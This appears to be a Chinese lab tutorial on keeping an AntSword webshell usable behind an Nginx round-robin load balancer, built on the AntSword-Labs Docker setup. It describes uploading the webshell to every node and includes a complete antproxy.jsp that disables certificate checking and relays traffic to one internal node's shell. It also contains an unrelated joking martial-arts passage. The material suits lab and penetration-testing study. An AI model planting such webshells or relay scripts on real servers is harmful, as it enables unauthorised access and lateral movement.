负载均衡下的 WebShell 连接

负载均衡下的webshell连接

Nginx的负载均衡

负载均衡(Load Balance) ,英文名称为Load Balance,其含义就是指将工作任务进行平衡、分摊到多个操作单元上进行运行,从而协同完成工作任务。 
Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器。
nginx的负载均衡算法:
1、轮询(默认)
每个请求按照时间顺序逐一分配到笔筒的后端
2、weight
指定轮询几率,weight和访问比率成正比,用于后端服务器性能不均的情况下
3、ip_hash
每个请求按访问ip的hash结果分配,这样每个访客固定访问一个后端服务器,可以解决session保持的问题。
4、url_hash
可以依据页面大小和加载时间长短智能的进行负载均衡,也就是根据后端服务器的响应时间来分配请求。
5、least_conn
根据连接数分配。
6、fair (第三方)
根据响应时间分配。

实验环境

负载均衡下的 WebShell 连接_第1张图片
我们只能通过 nginx 这台机器访问,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。
实验具体环境:
https://github.com/AntSwordProject/AntSword-Labs

环境搭建

systemctl start docker   //启动docker
docker-compose build 	 //建立环境

如图进行环境加载
负载均衡下的 WebShell 连接_第2张图片

启动环境

docker-compose up -d //环境启动

环境搭建成功如图所示:在这里插入图片描述
查看docker-compose文件:
负载均衡下的 WebShell 连接_第3张图片
可知nginx的80端口被映射到主机的18080端口之上。
测试连接,使用浏览器打开显示如下:
负载均衡下的 WebShell 连接_第4张图片
Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。我们只能通过 nginx 这台机器访问。
在蚁剑中查看一句话木马(不间断的上传,保证每台服务器上都存在木马,前提是每台服务器配置相同,这是必然满足的,因为所处实验环境为负载均衡,不会存在进入一个页面后下一秒跳到下一个页面,如果这样,怀疑您中毒了,早日退出网站,不要访问了):
负载均衡下的 WebShell 连接_第5张图片
可以进行后门查看:
负载均衡下的 WebShell 连接_第6张图片

面临困难

1、我们需要在每一台节点的相同位置都上传相同内容的 WebShell

问题概述:注意环境为负载均衡(轮询):前提大环境为负载的服务器配置相同,所以说存在相同的漏洞,你就可以大胆的上传。如果不这样将导致某台服务器上不存在,那么在请求轮到这台机器上的时候,就会出现404错误,影响使用。最终出现现象为一会儿正常,一会儿错误。

解决方案:多传几次,第一次传到第一台机子上,第二次轮询这不就有了么。

环境模拟:删除掉其中以一台服务器的webshell。
负载均衡下的 WebShell 连接_第7张图片
(对的,你没有看错就是这么喜庆的报错,[访问失败])

2、命令执行时的漂移

还是得关注大环境,是轮询状态的负载均衡,你永远不知道命令在哪里执行(从下图可以看出还是有一点规律的),但是要是涉及到了别的指标,哈哈,祝你幸福!!!

负载均衡下的 WebShell 连接_第8张图片

3、上传工具等软件时遇到的问题

首先,当你要上传一个工具时,当然工具照片等大小取决于你喜欢大的还是小的,但是不论大的还是小的,再上传时,突然之间发现被轮询了,那么恭喜你中奖了,两个节点上,分别都存在各一半,如何组合取决于LBS算法。

4、内网穿透工具失效

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
漂移呀!!! 轮询呀!!! 这是致命问题,这个也是得向nginx中继代理服务器上传工具,这飘呀,完蛋了,这还渗透个啥内网,洗洗睡吧!
某某某武功法典:
炼丹服药,内外齐通。今练气之道,不外存想导引,渺渺太虚,天地分清浊而生人,人之练气,不外练虚灵而涤荡昏浊,气者命之主,形者体之用。天地可逆转,人亦有男女互化之道,此中之道,切切不可轻传。修炼此功,当先养心,令心不起杂念,超然于物外方可,若心存杂念,不但无功,反而有性命之忧。
此处进行轮询:
欲练神功,引刀自宫。
(打不过西厂厂工的原因你永远不知道!)

结局方案

1、关机
想去找西厂厂公问原因可以去试试以上操作。
2、使用脚本或者剧本去执行逻辑操作
具体思路:安装ifconfig,可以查询设备ip地址对应的设备是否为想要使用的设备,如果是去执行操作,不是就不去执行操作,等待下一次轮询。(shell脚本中的if …else…fi,语句即可实现)
负载均衡下的 WebShell 连接_第9张图片
3、终极解决方案
在Web 层做一次 HTTP 流量转发 ,AntSword 没法直接访问 LBSNode1 内网IP(172.18.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。(具体流程思路如下图所示,此图太过完美诠释,偷来用用)
负载均衡下的 WebShell 连接_第10张图片
具体操作:
(1)1.创建 antproxy.jsp 脚本

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.18.0.2:8080/ant.jsp";  //注意:此处IP地址为依据自身而决定
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2、上传测试
负载均衡下的 WebShell 连接_第11张图片
此时,所有的流量都已经只转发到一台设备上,无须担心以上问题。
问题已经解决。

你可能感兴趣的:(负载均衡,服务器,运维)